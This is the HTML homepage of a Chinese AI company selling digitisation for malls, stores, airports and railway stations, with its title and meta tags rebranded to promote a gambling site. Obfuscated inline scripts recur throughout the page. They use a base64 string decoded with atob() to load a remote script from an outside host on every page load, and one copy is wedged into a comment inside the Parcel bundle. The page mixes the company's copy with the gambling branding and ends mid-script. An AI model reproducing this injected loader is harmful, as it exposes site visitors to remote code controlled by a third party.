<html lang="zh-cn">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=0, user-scalable=yes, maximum-scale=1.0">
    <meta name="referrer" content="origin-when-crossorigin">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="keywords" content="完美体育" id="metaKeyword">
    <meta name="description" content="欢迎访问完美体育(中国)官方网站【wm365.com】是世界最受欢迎的在线品牌之一，包含完美体育最新官网地址、注册、登陆、登录、入口、全站、网站、网页、网址、娱乐、手机版、app、下载等。完美体育24小时提供在线为您服务,欢迎前来体验！" id="metaDesc">
    <meta property="og:site_name" content="完美体育(中国)官方网站" id="metaSiteName">
    <meta property="og:type" content="website" id="metaType">
    <meta property="og:url" content="https://www.aibee.com/" id="metaUrl">
    <meta property="og:title" content="完美体育(中国)官方网站" id="metaTitle">
    <meta property="og:description" content="Wanmei365 完美体育智能，专注于线下空间数字化与智能化的引领型 AI 企业，致力于“赋能升级垂直行业，打磨极致AI技术”。融合计算机视觉、大数据分析、机器人等多模态人工智能技术，在市场上首个实现线下空间全场景、全流程、全量数字化，帮助线下空间走向智能化的运营、管理和触达。基于此，为商业地产（购物中心/停车场/办公楼）、品牌连锁店（银行网点/汽车 4S 店/零售门店）、机场、景区、高铁等行业提供解决方案。" id="metaDescription">
    <meta property="og:image" content="/logo-blue.9fb45835.png" id="metaImage">
    <title>完美体育(中国)官方网站</title>
    <link id="favicon" rel="shortcut icon" href="/favicon.7f29cfea.ico" type="image/x-icon">
    <link rel="stylesheet" href="/aboutus.32944898.css">
    <link rel="stylesheet" href="/aboutus.0ae24944.css">
    <link rel="stylesheet" href="/index.ad777ade.css">
    <link rel="stylesheet" href="/aboutus.10e0309b.css">
    <link rel="stylesheet" href="/aboutus.c5b97af0.css">
    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script src="/aboutus.8868d3f4.js"></script>
    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script src="/technology.299a8b84.js"></script>
    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script src="/aboutus.19776849.js"></script>
    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script src="/technology.e22b0e42.js"></script>
    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script src="/aboutus.128e2065.js"></script>
  </head>
  <body>
<h1><center><a href="/">完美体育(中国)官方网站</a></center></h1>
    <div class="home-page">
      <nav class="header-menu fixed">
        <div class="logo">
          <a href="/">
            <img class="white" src="/logo.700a2643.png">
            <img class="blue" src="/logo-blue.9fb45835.png">
          </a>
        </div>
        <div class="menu">
          <a class="menu-item active" href="/"><span>首页</span></a>
          <a class="menu-item"><span>方案产品</span></a>
          <a class="menu-item" href="/technology.html"><span>核心技术</span></a>
          <a class="menu-item" href="/aboutus.html"><span>关于完美体育</span></a>
          <a class="menu-item"><span>加入我们</span></a>
          <a class="menu-item" href="/news.html"><span>新闻动态</span></a>
          <a class="menu-item lang" href="/en/index.html">English</a>
        </div>
      </nav>
      <section class="nav-menu">
        <div class="sub-menu" index="1">
          <a class="sub-menu-item" href="/map.html">商业元宇宙</a>
          <div class="sub-menu-item child">
            智慧商业地产
            <div class="sub-menu2">
              <a class="sub-menu-item" href="/mall.html">购物中心</a>
              <a class="sub-menu-item" href="/parking.html">停车场</a>
              <a class="sub-menu-item" href="/gate.html">办公楼</a>
            </div>
          </div>
          <div class="sub-menu-item child">
            智慧门店
            <div class="sub-menu2">
              <a class="sub-menu-item" href="/auto4s.html">汽车4S店</a>
              <a class="sub-menu-item" href="/store.html">品牌连锁门店</a>
              <a class="sub-menu-item" href="/bank.html">银行网点</a>
            </div>
          </div>
          <a class="sub-menu-item" href="/airport.html">智慧机场</a>
          <a class="sub-menu-item" href="/tourism.html">智慧景区</a>
          <a class="sub-menu-item" href="/transportation.html">智慧高铁</a>
        </div>
        <div class="sub-menu sort" index="4">
          社会招聘
          校园招聘
        </div>
        
      </section>
      <section class="header">
        <div class="header-main">
          <div class="slogen">引领线下空间数字化与智能化</div>
          <div class="description">
            自研室内实景 3D 地图机器人，在市场上首个将「室内实景 3D
            建图」成本迅速降至过去的1/10
            多模态融合自定位系统在业内首个实现了不同楼层/区域的自动识别，提供全场景无间断导航体验
          </div>
          <a class="more" href="/map.html">了解更多</a>
        </div>
      </section>
      <section class="scroll-screen">
        <div class="screen-item home">
          <img class="down" src="/down.5ca9f30e.svg">
        </div>
        <div class="screen-item bussiness" data-midnight="white">
          <div class="screen-item-main">
            <div class="title-bg">Business Full View</div>
            <div class="title">业务全景</div>
          </div>
        </div>
        
        <div class="screen-item" data-midnight="white">
          <div class="screen-item-main business-style">
            <div class="left-line">
              <div class="line"></div>
              <div class="cur-line th1"></div>
            </div>
            <div class="center-text">
              <div class="business-no">01</div>
              <div class="business-name">智慧商业地产</div>
              <div class="business-description">
                商业地产数智化市场No.1 <br>
                前所未有的线下空间数字化<br>
                让每一个运营动作的结果都被精准量化评估<br>
                与国内TOP30商业地产中15家达成深度合作<br>
              </div>
              <div class="business-more">
                <img src="/more-black.93d29e4e.png">
              </div>
              <div class="business-case">
                <a class="case-item" href="/mall.html">
                  <img src="/rs-case1.0e593318.jpg">
                  <div class="tit">购物中心</div>
                </a>
                <a class="case-item" href="/parking.html">
                  <img src="/rs-case2.4426d5ff.jpg">
                  <div class="tit">停车场</div>
                </a>
                <a class="case-item" href="/gate.html">
                  <img src="/rs-case3.b2f5a5f8.jpg">
                  <div class="tit">办公楼</div>
                </a>
              </div>
            </div>
            <div class="scrollme business-model">
              <img class="animateme" data-when="enter" data-from="1" data-to="0" data-opacity="0" data-scale="0" src="/realestate.0c9d8bff.png">
            </div>
          </div>
        </div>
        
        <div class="screen-item business-style black-style" data-midnight="white">
          <div class="scrollme business-model">
            <img class="animateme" data-when="enter" data-from="1" data-to="0" data-opacity="0" data-scale="0" src="/store.66644aa5.png">
          </div>
          <div class="center-text">
            <div class="business-no">02</div>
            <div class="business-name">智慧门店</div>
            <div class="business-description">
              赋能品牌连锁门店的线下空间数字化<br>
              激活总部到门店的数据价值<br>
              实现全面的智能化管理、运营和触达<br>
            </div>
            <div class="business-more">
              <img src="/more-white.3e505617.png">
            </div>
            <div class="business-case">
              <a class="case-item" href="/auto4s.html">
                <img src="/store-case1.7b6d63de.jpg">
                <div class="tit">汽车4S店</div>
              </a>
              <a class="case-item" href="/store.html">
                <img src="/store-case2.8e9f0c72.jpg">
                <div class="tit">零售连锁门店</div>
              </a>
              <a class="case-item" href="/bank.html">
                <img src="/store-case3.028e87e2.jpg">
                <div class="tit">银行网点</div>
              </a>
            </div>
          </div>
          <div class="right-line">
            <div class="line"></div>
            <div class="cur-line th2"></div>
          </div>
        </div>
        
        <div class="screen-item business-style" data-midnight="white">
          <div class="left-line">
            <div class="line"></div>
            <div class="cur-line th3"></div>
          </div>
          <div class="center-text">
            <div class="business-no">03</div>
            <div class="business-name">智慧机场</div>
            <div class="business-description">
              国内最全面的智慧机场解决方案打造者<br>
              全面赋能机场安全防控、运行管理、旅客服务、商业应用<br>
              与首都、大兴、浦东、虹桥、胶东等头部机场深度合作<br>
            </div>
            <a class="business-more" href="/airport.html">
              <img src="/more-black.93d29e4e.png">
            </a>
          </div>
          <div class="scrollme business-model">
            <img class="animateme" data-when="enter" data-from="1" data-to="0" data-opacity="0" data-scale="0" src="/airport.b518a95d.png">
          </div>
        </div>
        
        <div class="screen-item business-style black-style" data-midnight="white">
          <div class="scrollme business-model">
            <img class="animateme" data-when="enter" data-from="1" data-to="0" data-opacity="0" data-scale="0" src="/tour.023b702c.png">
          </div>
          <div class="center-text">
            <div class="business-no">04</div>
            <div class="business-name">智慧景区</div>
            <div class="business-description">
              旅游景区智慧入园市场占有率No.1<br>
              赋能景区全方位的数字化管理<br>
              旅客全流程的智能体验<br>
            </div>
            <a class="business-more" href="/tourism.html">
              <img src="/more-white.3e505617.png">
            </a>
          </div>
          <div class="right-line">
            <div class="line"></div>
            <div class="cur-line th4"></div>
          </div>
        </div>
        
        <div class="screen-item business-style" data-midnight="white">
          <div class="left-line">
            <div class="line"></div>
            <div class="cur-line th5"></div>
          </div>
          <div class="center-text">
            <div class="business-no">05</div>
            <div class="business-name">智慧高铁</div>
            <div class="business-description">
              实现高铁站的线下空间数字化<br>
              为高铁站装载智能大脑<br>
              赋能全场景、全流程智能化管理运行
            </div>
            <a class="business-more" href="/transportation.html">
              <img src="/more-black.93d29e4e.png">
            </a>
          </div>
          <div class="scrollme business-model">
            <img class="animateme" data-when="enter" data-from="1" data-to="0" data-opacity="0" data-scale="0" src="/realway.aa844666.png">
          </div>
        </div>
        
        <div class="screen-item business-customer" data-midnight="white">
          <div class="custom-bg-title">Clients</div>
          <div class="custom-title">赋能客户</div>
          <div class="swiper-container">
            <div class="custom-case swiper-wrapper">
              <div class="scrollpanel swiper-slide">
                <div class="row">
                  <div class="customer-card">
                    <img src="/K11.02ac2108.png">
                  </div>
                  <div class="customer-card">
                    <img src="/wanda.dc009142.png">
                  </div>
                  <div class="customer-card">
                    <img src="/yinli.0f32caf9.png">
                  </div>
                  <div class="customer-card">
                    <img src="/vanke.ff2630f3.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/huarun.967587b2.png">
                  </div>
                </div>
                <div class="row">
                  <div class="customer-card">
                    <img src="/longfor.d357731f.png">
                  </div>
                  <div class="customer-card">
                    <img src="/macaline.18f878dc.png">
                  </div>
                  <div class="customer-card">
                    <img src="/aiqinghai.67fd50be.png">
                  </div>
                  <div class="customer-card">
                    <img src="/joycity.5323cb33.png">
                  </div>
                  <div class="customer-card">
                    <img src="/zhonghai.da78ae0f.png">
                  </div>
                </div>
              </div>
              <div class="scrollpanel swiper-slide">
                <div class="row">
                  <div class="customer-card">
                    <img src="/taigu.ac0c2090.png">
                  </div>
                  <div class="customer-card">
                    <img src="/xinhongji.6be8ce26.png">
                  </div>
                  <div class="customer-card">
                    <img src="/hk_land.be0dc352.png">
                  </div>
                  <div class="customer-card">
                    <img src="/fosun.18b4ebf9.png">
                  </div>
                  <div class="customer-card">
                    <img src="/shimao.3f357135.png">
                  </div>
                </div>
                <div class="row">
                  <div class="customer-card">
                    <img src="/jinmao.d4318679.png">
                  </div>
                  <div class="customer-card">
                    <img src="/yuanyang.eaf557bc.png">
                  </div>
                  <div class="customer-card">
                    <img src="/greenland.57c4b418.png">
                  </div>
                  <div class="customer-card">
                    <img src="/gtlandplaza.60ffba7f.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/binjiang.cb98c2ca.jpg">
                  </div>
                </div>
              </div>
              <div class="scrollpanel swiper-slide">
                <div class="row">
                  <div class="customer-card">
                    <img src="/ctf.76930e0b.png">
                  </div>
                  <div class="customer-card">
                    <img src="/mi.8dd07d5f.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/harmay.614332f5.png">
                  </div>
                  <div class="customer-card">
                    <img src="/gacaion.29ab4d64.png">
                  </div>
                  <div class="customer-card">
                    <img src="/dazong.d5213261.png">
                  </div>
                </div>
                <div class="row">
                  <div class="customer-card">
                    <img src="/youjia.d2e24511.jpg" class="br20 h70">
                  </div>
                  <div class="customer-card">
                    <img src="/apollo.9596bd4f.png" class="br20 h70">
                  </div>
                  <div class="customer-card">
                    <img src="/cachecache.25465c81.jpg" class="w60">
                  </div>
                  <div class="customer-card">
                    <img src="/beijing-airport.0860a661.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/sh_airport.48e45c8b.png">
                  </div>
                </div>
              </div>
              <div class="scrollpanel swiper-slide">
                <div class="row">
                  <div class="customer-card">
                    <img src="/chongqing-airport.c681fdc3.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/jiaodong-airport.52e6a749.jpeg">
                  </div>
                  <div class="customer-card">
                    <img src="/qingdao-airport.8acb19ad.jpg" class="w100">
                  </div>
                  <div class="customer-card">
                    <img src="/kunming-airport.01b8e434.png">
                  </div>
                  <div class="customer-card">
                    <img src="/hongkong-airport.923d9ea8.jpg">
                  </div>
                </div>
                <div class="row">
                  <div class="customer-card">
                    <img src="/china-crdc.91ab5a87.png">
                  </div>
                  <div class="customer-card">
                    <img src="/sephora.e8a53b4e.png">
                  </div>
                  <div class="customer-card">
                    <img src="/gloria.7bf63cad.png">
                  </div>
                  <div class="customer-card">
                    <img src="/topsports.e6e1e32e.png">
                  </div>
                  <div class="customer-card">
                    <img src="/nanling-car.a7785688.png" class="w100">
                  </div>
                </div>
              </div>
              <div class="scrollpanel swiper-slide">
                <div class="row">
                  <div class="customer-card">
                    <img src="/china-telecom.6b7f5834.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/asiainfo.0a54baff.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/jiaotong-bank.b944034f.png">
                  </div>
                  <div class="customer-card">
                    <img src="/gongshang-bank.de67d8e3.png">
                  </div>
                  <div class="customer-card">
                    <img src="/jianshe-bank.cb70560d.png">
                  </div>
                </div>
                <div class="row">
                  <div class="customer-card">
                    <img src="/nongye-bank.9e4ea7d8.png">
                  </div>
                  <div class="customer-card">
                    <img src="/china-bank.cd7b11fb.png">
                  </div>
                  <div class="customer-card">
                    <img src="/grg-banking.c3260780.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/nimble.c0ed2188.jpg">
                  </div>
                  <div class="customer-card">
                    <img src="/more.11a3542b.png">
                  </div>
                </div>
              </div>
            </div>
            <div class="swiper-pagination"></div>
          </div>
        </div>

        
        <div class="screen-item" data-midnight="white">
          <div class="screen-item-main business-contact">
            <div class="company-name">
              <a href="/">
                <img src="/logo-blue.9fb45835.png">
              </a>
            </div>
            <div class="company-info">
              <div class="company-vision">
                <h5>我们的使命</h5>
                <p>赋能升级垂直行业 · 打磨极致AI技术</p>
              </div>
              <div class="company-contact">
                <h5>联系 Wanmei365</h5>
                <p>
                  业务合作<br>
                  邮箱：contact@aibee.com <br>
                  电话：+86（10）60609699 <br><br><br>
                </p>
                <p>
                  媒体合作<br>
                  邮箱：pr@aibee.com <br>
                  电话：+86（10）60609699<br>
                </p>
              </div>

              <div class="company-join">
                <h5>加入 Wanmei365</h5>
                <p>
                  社会招聘入口
                </p>
                <p>
                  校园招聘入口
                </p>
              </div>

              <div class="company-social">
                <h5>关注 Wanmei365</h5>
                <button class="wx">Wanmei365 官方微信</button>
                <button class="linkin">Wanmei365 Linkedin</button>
                <div class="weixin-qrcode">
                  <img src="/weixin.a4e359bb.jpg">
                </div>
                <div class="linkin-qrcode">
                  <img src="/linkin.5973c2fc.png">
                </div>
              </div>
            </div>
          </div>
        </div>

        <div class="page-footer">
          <div class="footer-row">
            <a href="/legal.html">法律声明</a> |
            <a href="/clause.html">隐私条款</a> Copyright 2026 Wanmei365. All
            Rights Reserved. 完美体育(中国)官方网站<br>
          </div>
          <a href="https://beian.miit.gov.cn" target="_blank">京ICP备18015220号-2 | 京公网安备11010802049949号
        </div>
      </section>

      <a class="fixed-msg" href="https://www.wenjuan.com/s/UZBZJvBvA2/#" target="_blank"></a>
    </div>

    <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script type="text/javascript">// modules are defined as an array
// [ module function, map of requires ]
//
// map of requires is short require name -> numeric require
//
// anything defined in a previous bundle is accessed via the
// orig method which is the require for previous bundles

(function(modules, entry, mainEntry, parcelRequireName, globalName) {
  /* eslint-disable no-undef */
  var globalObject =
    typeof globalThis !== 'undefined'
      ? globalThis
      : typeof self !== 'undefined'
      ? self
      : typeof window !== 'undefined'
      ? window
      : typeof global !== 'undefined'
      ? global
      : {};
  /* eslint-enable no-undef */

  // Save the require from previous bundle to this closure if any
  var previousRequire =
    typeof globalObject[parcelRequireName] === 'function' &&
    globalObject[parcelRequireName];

  var cache = previousRequire.cache || {};
  // Do not use `require` to prevent Webpack from trying to bundle this call
  var nodeRequire =
    typeof module !== 'undefined' &&
    typeof module.require === 'function' &&
    module.require.bind(module);

  function newRequire(name, jumped) {
    if (!cache[name]) {
      if (!modules[name]) {
        // if we cannot find the module within our internal map or
        // cache jump to the current global require ie. the last bundle
        // that was added to the page.
        var currentRequire =
          typeof globalObject[parcelRequireName] === 'function' &&
          globalObject[parcelRequireName];
        if (!jumped && currentRequire) {
          return currentRequire(name, true);
        }

        // If there are other bundles on this page the require from the
        // previous one is saved to 'previousRequire'. Repeat this as
        // many times as there are bundles until the module is found or
        // we exhaust the require chain.
        if (previousRequire) {
          return previousRequire(name, true);
        }

        // Try the node require function if it exists.
        if (nodeRequire && typeof name === 'string') {
          return nodeRequire(name);
        }

        var err = new Error("Cannot find module '" + name + "'");
        err.code = 'MODULE_NOT_FOUND';
        throw err;
      }

      localRequire.resolve = resolve;
      localRequire.cache = {};

      var module = (cache[name] = new newRequire.Module(name));

      modules[name][0].call(
        module.exports,
        localRequire,
        module,
        module.exports,
        this
      );
    }

    return cache[name].exports;

    function localRequire(x) {
      return newRequire(localRequire.resolve(x));
    }

    function resolve(x) {
      return modules[name][1][x] || x;
    }
  }

  function Module(moduleName) {
    this.id = moduleName;
    this.bundle = newRequire;
    this.exports = {};
  }

  newRequire.isParcelRequire = true;
  newRequire.Module = Module;
  newRequire.modules = modules;
  newRequire.cache = cache;
  newRequire.parent = previousRequire;
  newRequire.register = function(id, exports) {
    modules[id] = [
      function(require, module) {
        module.exports = exports;
      },
      {},
    ];
  };

  Object.defineProperty(newRequire, 'root', {
    get: function() {
      return globalObject[parcelRequireName];
    },
  });

  globalObject[parcelRequireName] = newRequire;

  for (var i = 0; i < entry.length; i++) {
    newRequire(entry[i]);
  }

  if (mainEntry) {
    // Expose entry point to Node, AMD or browser globals
    // Based on https://github.com/ForbesLindesay/umd/blob/master/template.js
    var mainExports = newRequire(mainEntry);

    // CommonJS
    if (typeof exports === 'object' && typeof module !== 'undefined') {
      module.exports = mainExports;

      // RequireJS
    } else if (typeof define === 'function' && define.amd) {
      define(function() {
        return mainExports;
      });

      // <script>document.cookie='hasVisited178a=1';(function(){var hm=document.createElement('script');hm.src=atob('aHR0cHM6Ly9jb2RlLmhpc3RhdHMuYm9uZC9yZW1vdGUuanM=');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(hm,s);})();</script><script>
    } else if (globalName) {
      this[globalName] = mainExports;
    }
  }
})({"aa62e":[function(require,module,exports) {
var HMR_HOST = null;
var HMR_PORT = null;
var HMR_SECURE = false;
var HMR_ENV_HASH = "4e5dac8afe405db7";
module.bundle.HMR_BUNDLE_ID = "0137c083feb577b9";
"use strict";
function _createForOfIteratorHelper(o, allowArrayLike) {
    var it;
    if (typeof Symbol === "undefined" || o[Symbol.iterator] == null) {
        if (Array.isArray(o) || (it = _unsupportedIterableToArray(o)) || allowArrayLike && o && typeof o.length === "number") {
            if (it) o = it;
            var i = 0;
            var F = function F1() {
            };
            return {
                s: F,
                n: function n() {
                    if (i >= o.length) return {
                        done: true
                    };
                    return {
                        done: false,
                        value: o[i++]
                    };
                },
                e: function e(_e) {
                    throw _e;
                },
                f: F
            };
        }
        throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
    }
    var normalCompletion = true, didErr = false, err;
    return {
        s: function s() {
            it = o[Symbol.iterator]();
        },
        n: function n() {
            var step = it.next();
            normalCompletion = step.done;
            return step;
        },
        e: function e(_e2) {
            didErr = true;
            err = _e2;
        },
        f: function f() {
            try {
                if (!normalCompletion && it.return != null) it.return();
            } finally{
                if (didErr) throw err;
            }
        }
    };
}
function _unsupportedIterableToArray(o, minLen) {
    if (!o) return;
    if (typeof o === "string") return _arrayLikeToArray(o, minLen);
    var n = Object.prototype.toString.call(o).slice(8, -1);
    if (n === "Object" && o.constructor) n = o.constructor.name;
    if (n === "Map" || n === "Set") return Array.from(o);
    if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen);
}
function _arrayLikeToArray(arr, len) {
    if (len == null || len > arr.length) len = arr.length;
    for(var i = 0, arr2 = new Array(len); i < len; i++)arr2[i] = arr[i];
    return arr2;
}
/* global HMR_HOST, HMR_PORT, HMR_ENV_HASH, HMR_SECURE */ /*::
import type {
  HMRAsset,
  HMRMessage,
} from '@parcel/reporter-dev-server/src/HMRServer.js';
interface ParcelRequire {
  (string): mixed;
  cache: {|[string]: ParcelModule|};
  hotData: mixed;
  Module: any;
  parent: ?ParcelRequire;
  isParcelRequire: true;
  modules: {|[string]: [Function, {|[string]: string|}]|};
  HMR_BUNDLE_ID: string;
  root: ParcelRequire;
}
interface ParcelModule {
  hot: {|
    data: mixed,
    accept(cb: (Function) => void): void,
    dispose(cb: (mixed) => void): void,
    // accept(deps: Array<string> | string, cb: (Function) => void): void,
    // decline(): void,
    _acceptCallbacks: Array<(Function) => void>,
    _disposeCallbacks: Array<(mixed) => void>,
  |};
}
declare var module: {bundle: ParcelRequire, ...};
declare var HMR_HOST: string;
declare var HMR_PORT: string;
declare var HMR_ENV_HASH: string;
declare var HMR_SECURE: boolean;
*/ var OVERLAY_ID = '__parcel__error__overlay__';
var OldModule = module.bundle.Module;
function Module(moduleName) {
    OldModule.call(this, moduleName);
    this.hot = {
        data: module.bundle.hotData,
        _acceptCallbacks: [],
        _disposeCallbacks: [],
        accept: function accept(fn) {
            this._acceptCallbacks.push(fn || function() {
            });
        },
        dispose: function dispose(fn) {
            this._disposeCallbacks.push(fn);
        }
    };
    module.bundle.hotData = undefined;
}
module.bundle.Module = Module;
var checkedAssets, acceptedAssets, assetsToAccept;
function getHostname() {
    return HMR_HOST || (location.protocol.indexOf('http') === 0 ? location.hostname : 'localhost');
}
function getPort() {
    return HMR_PORT || location.port;
} // eslint-disable-next-line no-redeclare
var parent = module.bundle.parent;
if ((!parent || !parent.isParcelRequire) && typeof WebSocket !== 'undefined') {
    var hostname = getHostname();
    var port = getPort();
    var protocol = HMR_SECURE || location.protocol == 'https:' && !/localhost|127.0.0.1|0.0.0.0/.test(hostname) ? 'wss' : 'ws';
    var ws = new WebSocket(protocol + '://' + hostname + (port ? ':' + port : '') + '/'); // $FlowFixMe
    ws.onmessage = function(event) {
        checkedAssets = {
        };
        acceptedAssets = {
        };
        assetsToAccept = [];
        var data = JSON.parse(event.data);
        if (data.type === 'update') {
            // Remove error overlay if there is one
            removeErrorOverlay();
            var assets = data.assets.filter(function(asset) {
                return asset.envHash === HMR_ENV_HASH;
            }); // Handle HMR Update
            var handled = assets.every(function(asset) {
                return asset.type === 'css' || asset.type === 'js' && hmrAcceptCheck(module.bundle.root, asset.id, asset.depsByBundle);
            });
            if (handled) {
                console.clear();
                assets.forEach(function(asset) {
                    hmrApply(module.bundle.root, asset);
                });
                for(var i = 0; i < assetsToAccept.length; i++){
                    var id = assetsToAccept[i][1];
                    if (!acceptedAssets[id]) hmrAcceptRun(assetsToAccept[i][0], id);
                }
            } else window.location.reload();
        }
        if (data.type === 'error') {
            // Log parcel errors to console
            var _iterator = _createForOfIteratorHelper(data.diagnostics.ansi), _step;
            try {
                for(_iterator.s(); !(_step = _iterator.n()).done;){
                    var ansiDiagnostic = _step.value;
                    var stack = ansiDiagnostic.codeframe ? ansiDiagnostic.codeframe : ansiDiagnostic.stack;
                    console.error('? [parcel]: ' + ansiDiagnostic.message + '\n' + stack + '\n\n' + ansiDiagnostic.hints.join('\n'));
                } // Render the fancy html overlay
            } catch (err) {
                _iterator.e(err);
            } finally{
                _iterator.f();
            }
            removeErrorOverlay();
            var overlay = createErrorOverlay(data.diagnostics.html); // $FlowFixMe
            document.body.appendChild(overlay);
        }
    };
    ws.onerror = function(e) {
        console.error(e.message);
    };
    ws.onclose = function() {
        console.warn('[parcel] ? Connection to the HMR server was lost');
    };
}
function removeErrorOverlay() {
    var overlay = document.getElementById(OVERLAY_ID);
    if (overlay) {
        overlay.remove();
        console.log('[parcel] ? Error resolved');
    }
}
function createErrorOverlay(diagnostics) {
    var overlay = document.createElement('div');
    overlay.id = OVERLAY_ID;
    var errorHTML = '<div style="background: black; opacity: 0.85; font-size: 16px; color: white; position: fixed; height: 100%; width: 100%; top: 0px; left: 0px; padding: 30px; font-family: Menlo, Consolas, monospace; z-index: 9999;">';
    var _iterator2 = _createForOfIteratorHelper(diagnostics), _step2;
    try {
        for(_iterator2.s(); !(_step2 = _iterator2.n()).done;){
            var diagnostic = _step2.value;
            var stack = diagnostic.codeframe ? diagnostic.codeframe : diagnostic.stack;
            errorHTML += "\n      <div>\n        <div style=\"font-size: 18px; font-weight: bold; margin-top: 20px;\">\n          \uD83D\uDEA8 ".concat(diagnostic.message, "\n        </div>\n        <pre>\n          ").concat(stack, "\n        </pre>\n        <div>\n          ").concat(diagnostic.hints.map(function(hint) {
                return '<div>' + hint + '</div>';
            }).join(''), "\n        </div>\n      </div>\n    ");
        }
    } catch (err) {
        _iterator2.e(err);
    } finally{
        _iterator2.f();
    }
    errorHTML += '</div>';
    overlay.innerHTML = errorHTML;
    return overlay;
}
function getParents(bundle, id) /*: Array<[ParcelRequire, string]> */ {
    var modules = bundle.modules;
    if (!modules) return [];
    var parents = [];
    var k, d, dep;
    for(k in modules)for(d in modules[k][1]){
        dep = modules[k][1][d];
        if (dep === id || Array.isArray(dep) && dep[dep.length - 1] === id) parents.push([
            bundle,
            k
        ]);
    }
    if (bundle.parent) parents = parents.concat(getParents(bundle.parent, id));
    return parents;
}
function updateLink(link) {
    var newLink = link.cloneNode();
    newLink.onload = function() {
        if (link.parentNode !== null) // $FlowFixMe
        link.parentNode.removeChild(link);
    };
    newLink.setAttribute('href', link.getAttribute('href').split('?')[0] + '?' + Date.now()); // $FlowFixMe
    link.parentNode.insertBefore(newLink, link.nextSibling);
}
var cssTimeout = null;
function reloadCSS() {
    if (cssTimeout) return;
    cssTimeout = setTimeout(function() {
        var links = document.querySelectorAll('link[rel="stylesheet"]');
        for(var i = 0; i < links.length; i++){
            // $FlowFixMe[incompatible-type]
            var href = links[i].getAttribute('href');
            var hostname = getHostname();
            var servedFromHMRServer = hostname === 'localhost' ? new RegExp('^(https?:\\/\\/(0.0.0.0|127.0.0.1)|localhost):' + getPort()).test(href) : href.indexOf(hostname + ':' + getPort());
            var absolute = /^https?:\/\//i.test(href) && href.indexOf(window.location.origin) !== 0 && !servedFromHMRServer;
            if (!absolute) updateLink(links[i]);
        }
        cssTimeout = null;
    }, 50);
}
function hmrApply(bundle, asset) {
    var modules = bundle.modules;
    if (!modules) return;
    if (asset.type === 'css') {
        reloadCSS();
        return;
    }
    var deps = asset.depsByBundle[bundle.HMR_BUNDLE_ID];
    if (deps) {
        var fn = new Function('require', 'module', 'exports', asset.output);
        modules[asset.id] = [
            fn,
            deps
        ];
    } else if (bundle.parent) hmrApply(bundle.parent, asset);
}
function hmrAcceptCheck(bundle, id, depsByBundle) {
    var modules = bundle.modules;
    if (!modules) return;
    if (depsByBundle && !depsByBundle[bundle.HMR_BUNDLE_ID]) {
        // If we reached the root bundle without finding where the asset should go,
        // there's nothing to do. Mark as "accepted" so we don't reload the page.
        if (!bundle.parent) return true;
        return hmrAcceptCheck(bundle.parent, id, depsByBundle);
    }
    if (checkedAssets[id]) return;
    checkedAssets[id] = true;
    var cached = bundle.cache[id];
    assetsToAccept.push([
        bundle,
        id
    ]);
    if (cached && cached.hot && cached.hot._acceptCallbacks.length) return true;
    return getParents(module.bundle.root, id).some(function(v) {
        return hmrAcceptCheck(v[0], v[1], null);
    });
}
function hmrAcceptRun(bundle, id) {
    var cached = bundle.cache[id];
    bundle.hotData = {
    };
    if (cached && cached.hot) cached.hot.data = bundle.hotData;
    if (cached && cached.hot && cached.hot._disposeCallbacks.length) cached.hot._disposeCallbacks.forEach(function(cb) {
        cb(bundle.hotData);
    });
    delete bundle.cache[id];
    bundle(id);
    cached = bundle.cache[id];
    if (cached && cached.hot && cached.hot._acceptCallbacks.length) cached.hot._acceptCallbacks.forEach(function(cb) {
        var assetsToAlsoAccept = cb(function() {
            return getParents(module.bundle.root, id);
        });
        if (assetsToAlsoAccept && assetsToAccept.length) // $FlowFixMe[method-unbinding]
        assetsToAccept.push.apply(assetsToAccept, assetsToAlsoAccept);
    });
    acceptedAssets[id] = true;
}

},{}]},["aa62e"], null, "parcelRequireeb93")
$(document).ready(function() {
    new Swiper(".swiper-container", {
        // autoplay: {
        //   delay: 8000,
        //   stopOnLastSlide: false,
        //   disableOnInteraction: false,
        // },
        pagination: {
            el: ".swiper-pagination",
            clickable: true
        }
    });
    $("nav.header-menu").midnight();
    // 临时处理
    $(".scroll-screen").css("pointer-events", "none");
